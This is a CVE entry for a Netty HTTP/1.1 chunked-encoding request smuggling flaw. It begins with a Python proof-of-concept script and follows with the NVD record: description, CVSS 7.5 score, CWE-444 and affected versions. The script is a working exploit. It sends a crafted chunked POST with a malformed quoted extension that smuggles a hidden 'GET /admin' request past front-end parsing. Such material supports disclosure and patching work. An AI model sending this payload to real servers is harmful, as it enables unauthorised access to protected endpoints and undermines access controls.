CVE-2026-33870

import socket # Target configuration host = 'target.example.com' port = 80 # Malicious payload exploiting quoted string parsing in chunked extensions # This attempts to smuggle a second request by abusing the parser payload = ( "POST / HTTP/1.1\r\n" "Host: target.example.com\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "4;name="test"\r\n" # Malformed chunk extension with quotes "WXYZ\r\n" "0\r\n" "\r\n" "GET /admin HTTP/1.1\r\n" # Smuggled request "Host: target.example.com\r\n" "\r\n" ) def send_request(host, port, payload): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((host, port)) s.sendall(payload.encode()) response = s.recv(4096) print(response.decode()) if __name__ == "__main__": send_request(host, port, payload)

{"cve": {"id": "CVE-2026-33870", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:34.663", "lastModified": "2026-03-30T20:12:16.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.132.Final and 4.2.10.Final, Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. Versions 4.1.132.Final and 4.2.10.Final fix the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-444"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.132", "matchCriteriaId": "8F551B7E-5E29-4062-8FDB-AA1377B3E8F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0", "versionEndExcluding": "4.2.10", "matchCriteriaId": "419E92FA-6271-4613-AF3D-CF09ADFF2E13"}]}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://w4ke.info/2025/06/18/funky-chunks.html", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://www.rfc-editor.org/rfc/rfc9110", "source": "[email protected]", "tags": ["Technical Description"]}]}}